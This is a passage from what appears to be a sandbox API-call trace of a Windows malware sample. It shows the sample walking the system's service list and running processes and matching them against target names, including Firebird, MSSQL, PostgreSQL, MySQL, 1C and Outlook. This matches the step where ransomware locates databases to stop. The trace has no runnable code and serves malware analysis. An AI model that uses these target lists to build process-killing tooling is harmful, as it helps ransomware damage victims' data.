lpString2="NlaSvc") returned 1 [0052.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.466] lstrlenW (lpString="nsi") returned 3 [0052.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.466] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.466] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.466] lstrlenW (lpString="PcaSvc") returned 6 [0052.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.466] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.466] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.466] lstrlenW (lpString="PlugPlay") returned 8 [0052.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.466] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.466] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.466] lstrlenW (lpString="Power") returned 5 [0052.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.466] lstrlenW (lpString="ProfSvc") returned 7 [0052.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.466] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.466] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.467] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.467] lstrlenW (lpString="RpcSs") returned 5 [0052.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.467] lstrlenW (lpString="SamSs") returned 5 [0052.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.467] lstrlenW (lpString="Schedule") returned 8 [0052.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.467] lstrlenW (lpString="SENS") returned 4 [0052.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.467] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.468] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.468] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.468] lstrlenW (lpString="Spooler") returned 7 [0052.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.468] lstrlenW (lpString="swprv") returned 5 [0052.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.468] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.468] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.468] lstrlenW (lpString="SysMain") returned 7 [0052.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.468] lstrlenW (lpString="Themes") returned 6 [0052.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.468] lstrlenW (lpString="TrkWks") returned 6 [0052.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.468] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.468] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.469] lstrlenW (lpString="UxSms") returned 5 [0052.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.469] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.469] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.469] lstrlenW (lpString="VSS") returned 3 [0052.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.469] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.469] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.469] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.469] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.469] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.469] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.469] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.469] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.469] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.469] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.469] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.469] lstrlenW (lpString="Winmgmt") returned 7 [0052.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.470] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.470] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.470] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.470] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0052.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0052.472] Process32FirstW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.472] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.473] lstrlenW (lpString="System") returned 6 [0052.473] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.473] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.473] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.473] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.474] lstrlenW (lpString="smss.exe") returned 8 [0052.474] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.474] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.474] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.474] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.475] lstrlenW (lpString="csrss.exe") returned 9 [0052.475] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.475] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.475] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.475] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.475] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.476] lstrlenW (lpString="wininit.exe") returned 11 [0052.476] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.476] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.476] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.476] lstrlenW (lpString="csrss.exe") returned 9 [0052.476] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.477] lstrlenW (lpString="winlogon.exe") returned 12 [0052.477] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.477] lstrlenW (lpString="services.exe") returned 12 [0052.477] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.478] lstrlenW (lpString="lsass.exe") returned 9 [0052.478] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.479] lstrlenW (lpString="lsm.exe") returned 7 [0052.479] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.479] lstrlenW (lpString="svchost.exe") returned 11 [0052.479] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.480] lstrlenW (lpString="svchost.exe") returned 11 [0052.480] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.481] lstrlenW (lpString="svchost.exe") returned 11 [0052.481] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.481] lstrlenW (lpString="svchost.exe") returned 11 [0052.481] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.482] lstrlenW (lpString="svchost.exe") returned 11 [0052.482] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.483] lstrlenW (lpString="audiodg.exe") returned 11 [0052.483] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.483] lstrlenW (lpString="svchost.exe") returned 11 [0052.483] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.484] lstrlenW (lpString="svchost.exe") returned 11 [0052.484] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.484] lstrlenW (lpString="dwm.exe") returned 7 [0052.484] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.485] lstrlenW (lpString="explorer.exe") returned 12 [0052.485] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.486] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.486] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.486] lstrlenW (lpString="taskhost.exe") returned 12 [0052.486] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.487] lstrlenW (lpString="svchost.exe") returned 11 [0052.487] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.488] lstrlenW (lpString="taskeng.exe") returned 11 [0052.488] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.488] lstrlenW (lpString="taskhost.exe") returned 12 [0052.488] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0052.489] lstrlenW (lpString="chem venues.exe") returned 15 [0052.489] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0052.490] lstrlenW (lpString="month.exe") returned 9 [0052.490] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0052.490] lstrlenW (lpString="glasgow.exe") returned 11 [0052.490] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0052.491] lstrlenW (lpString="rubber.exe") returned 10 [0052.491] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0052.491] lstrlenW (lpString="petroleum.exe") returned 13 [0052.491] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0052.492] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0052.492] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0052.535] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0052.535] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0052.535] lstrlenW (lpString="batman_oliver.exe") returned 17 [0052.535] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0052.536] lstrlenW (lpString="formation.exe") returned 13 [0052.536] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0052.537] lstrlenW (lpString="whole.exe") returned 9 [0052.537] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0052.537] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0052.537] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 